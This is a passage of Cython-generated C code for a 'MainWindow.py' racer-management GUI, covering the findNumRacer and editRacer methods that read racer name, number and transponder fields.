__Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_editRacer); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_GetItemInt(__pyx_v_item, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_5) { __pyx_t_10 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_10); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_10 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_10 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; /* "MainWindow.py":130 * except: * return * if len( item )>0: # <<<<<<<<<<<<<< * self.L_racerlist.setCurrentItem( item[0]) * self.editRacer( item[0] ) */ } /* "MainWindow.py":124 * return * * def findNumRacer(self): # <<<<<<<<<<<<<< * try: * fn = int( self.findNumber.text() ) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_XDECREF(__pyx_t_10); __Pyx_AddTraceback("MainWindow.MainWindow.findNumRacer", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_fn); __Pyx_XDECREF(__pyx_v_item); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":134 * self.editRacer( item[0] ) * * def editRacer(self, item): # <<<<<<<<<<<<<< * id = item.data(Globals.UserRole) * print (id) */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_23editRacer(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_23editRacer = {"editRacer", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_23editRacer, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_23editRacer(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_item = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("editRacer (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_item,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_item)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("editRacer", 1, 2, 2, 1); __PYX_ERR(0, 134, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "editRacer") < 0)) __PYX_ERR(0, 134, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_item = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("editRacer", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 134, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("MainWindow.MainWindow.editRacer", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_10MainWindow_10MainWindow_22editRacer(__pyx_self, __pyx_v_self, __pyx_v_item); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_22editRacer(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_item) { PyObject *__pyx_v_id = NULL; PyObject *__pyx_v_racer = NULL; PyObject *__pyx_v_oldracerItem = NULL; PyObject *__pyx_v_rl = NULL; PyObject *__pyx_v_rf = NULL; PyObject *__pyx_v_rn = NULL; PyObject *__pyx_v_rt = NULL; PyObject *__pyx_v_rm = NULL; PyObject *__pyx_v_rp = NULL; PyObject *__pyx_v_rc = NULL; PyObject *__pyx_v_pa = NULL; PyObject *__pyx_v_oldracer = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; int __pyx_t_6; int __pyx_t_7; PyObject *__pyx_t_8 = NULL; PyObject *__pyx_t_9 = NULL; PyObject *__pyx_t_10 = NULL; PyObject *__pyx_t_11 = NULL; PyObject *__pyx_t_12 = NULL; __Pyx_RefNannySetupContext("editRacer", 0); /* "MainWindow.py":135 * * def editRacer(self, item): * id = item.data(Globals.UserRole) # <<<<<<<<<<<<<< * print (id) * racer = Globals.racerList[ id] */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_UserRole); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_id = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":136 * def editRacer(self, item): * id = item.data(Globals.UserRole) * print (id) # <<<<<<<<<<<<<< * racer = Globals.racerList[ id] * print (racer) */ __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_v_id); __Pyx_GIVEREF(__pyx_v_id); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_id); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":137 * id = item.data(Globals.UserRole) * print (id) * racer = Globals.racerList[ id] # <<<<<<<<<<<<<< * print (racer) * oldracerItem = self.__RacerEdited */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_racerList); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_t_1, __pyx_v_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_racer = __pyx_t_2; __pyx_t_2 = 0; /* "MainWindow.py":138 * print (id) * racer = Globals.racerList[ id] * print (racer) # <<<<<<<<<<<<<< * oldracerItem = self.__RacerEdited * if oldracerItem is not None: */ __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_v_racer); __Pyx_GIVEREF(__pyx_v_racer); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_v_racer); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":139 * racer = Globals.racerList[ id] * print (racer) * oldracerItem = self.__RacerEdited # <<<<<<<<<<<<<< * if oldracerItem is not None: * rl = self.R_lastname.text() */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_MainWindow__RacerEdited); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_v_oldracerItem = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":140 * print (racer) * oldracerItem = self.__RacerEdited * if oldracerItem is not None: # <<<<<<<<<<<<<< * rl = self.R_lastname.text() * rf = self.R_firstname.text() */ __pyx_t_6 = (__pyx_v_oldracerItem != Py_None); __pyx_t_7 = (__pyx_t_6 != 0); if (__pyx_t_7) { /* "MainWindow.py":141 * oldracerItem = self.__RacerEdited * if oldracerItem is not None: * rl = self.R_lastname.text() # <<<<<<<<<<<<<< * rf = self.R_firstname.text() * try: */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_lastname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_text); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_v_rl = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":142 * if oldracerItem is not None: * rl = self.R_lastname.text() * rf = self.R_firstname.text() # <<<<<<<<<<<<<< * try: * rn = int( self.R_number.text() ) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_rf = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":143 * rl = self.R_lastname.text() * rf = self.R_firstname.text() * try: # <<<<<<<<<<<<<< * rn = int( self.R_number.text() ) * except: */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_8, &__pyx_t_9, &__pyx_t_10); __Pyx_XGOTREF(__pyx_t_8); __Pyx_XGOTREF(__pyx_t_9); __Pyx_XGOTREF(__pyx_t_10); /*try:*/ { /* "MainWindow.py":144 * rf = self.R_firstname.text() * try: * rn = int( self.R_number.text() ) # <<<<<<<<<<<<<< * except: * rn = 0 */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 144, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_text); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 144, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 144, __pyx_L4_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 144, __pyx_L4_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 144, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_rn = __pyx_t_5; __pyx_t_5 = 0; /* "MainWindow.py":143 * rl = self.R_lastname.text() * rf = self.R_firstname.text() * try: # <<<<<<<<<<<<<< * rn = int( self.R_number.text() ) * except: */ } __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; goto __pyx_L11_try_end; __pyx_L4_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":145 * try: * rn = int( self.R_number.text() ) * except: # <<<<<<<<<<<<<< * rn = 0 * try: */ /*except:*/ { __Pyx_AddTraceback("MainWindow.MainWindow.editRacer", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_1, &__pyx_t_2) < 0) __PYX_ERR(0, 145, __pyx_L6_except_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_1); __Pyx_GOTREF(__pyx_t_2); /* "MainWindow.py":146 * rn = int( self.R_number.text() ) * except: * rn = 0 # <<<<<<<<<<<<<< * try: * rt = int( self.R_transponder.text() ) */ __Pyx_INCREF(__pyx_int_0); __Pyx_XDECREF_SET(__pyx_v_rn, __pyx_int_0); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; goto __pyx_L5_exception_handled; } __pyx_L6_except_error:; /* "MainWindow.py":143 * rl = self.R_lastname.text() * rf = self.R_firstname.text() * try: # <<<<<<<<<<<<<< * rn = int( self.R_number.text() ) * except: */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_8); __Pyx_XGIVEREF(__pyx_t_9); __Pyx_XGIVEREF(__pyx_t_10); __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); goto __pyx_L1_error; __pyx_L5_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_8); __Pyx_XGIVEREF(__pyx_t_9); __Pyx_XGIVEREF(__pyx_t_10); __Pyx_ExceptionReset(__pyx_t_8, __pyx_t_9, __pyx_t_10); __pyx_L11_try_end:; } /* "MainWindow.py":147 * except: * rn = 0 * try: # <<<<<<<<<<<<<< * rt = int( self.R_transponder.text() ) * except: */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_10, &__pyx_t_9, &__pyx_t_8); __Pyx_XGOTREF(__pyx_t_10); __Pyx_XGOTREF(__pyx_t_9); __Pyx_XGOTREF(__pyx_t_8); /*try:*/ { /* "MainWindow.py":148 * rn = 0 * try: * rt = int( self.R_transponder.text() ) # <<<<<<<<<<<<<< * except: * rt = 0 */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_transponder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 148, __pyx_L14_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_text); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 148, __pyx_L14_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 148, __pyx_L14_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 148, __pyx_L14_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 148, __pyx_L14_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_rt = __pyx_t_5; __pyx_t_5 = 0; /* "MainWindow.py":147 * except: * rn = 0 * try: # <<<<<<<<<<<<<< * rt = int( self.R_transponder.text() ) * except: */ } __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; goto __pyx_L21_try_end; __pyx_L14_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":149 * try: * rt = int( self.R_transponder.text() ) * except: # <<<<<<<<<<<<<< * rt = 0 * rm = self.R_brandMenu.itemData( self.R_brandMenu.currentIndex() ) */ /*except:*/ { __Pyx_AddTraceback("MainWindow.MainWindow.editRacer", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_2, &__pyx_t_1) < 0) __PYX_ERR(0, 149, __pyx_L16_except_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_2); __Pyx_GOTREF(__pyx_t_1); /* "MainWindow.py":150 * rt = int( self.R_transponder.text() ) * except: * rt = 0 # <<<<<<<<<<<<<< * rm = self.R_brandMenu.itemData( self.R_brandMenu.currentIndex() ) * rp = self.R_Npa.text() */ __Pyx_INCREF(__pyx_int_0); __Pyx_XDECREF_SET(__pyx_v_rt, __pyx_int_0); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; goto __pyx_L15_exception_handled; } __pyx_L16_except_error:; /* "MainWindow.py":147 * except: * rn = 0 * try: # <<<<<<<<<<<<<< * rt = int( self.R_transponder.text() ) * except: */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_10); __Pyx_XGIVEREF(__pyx_t_9); __Pyx_XGIVEREF(__pyx_t_8); __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_9, __pyx_t_8); goto __pyx_L1_error; __pyx_L15_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_10); __Pyx_XGIVEREF(__pyx_t_9); __Pyx_XGIVEREF(__pyx_t_8); __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_9, __pyx_t_8); __pyx_L21_try_end:; } /* "MainWindow.py":151 * except: * rt = 0 * rm = self.R_brandMenu.itemData( self.R_brandMenu.currentIndex() ) # <<<<<<<<<<<<<< * rp = self.R_Npa.text() * rc = self.R_City.text() */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_itemData); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_currentIndex); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = 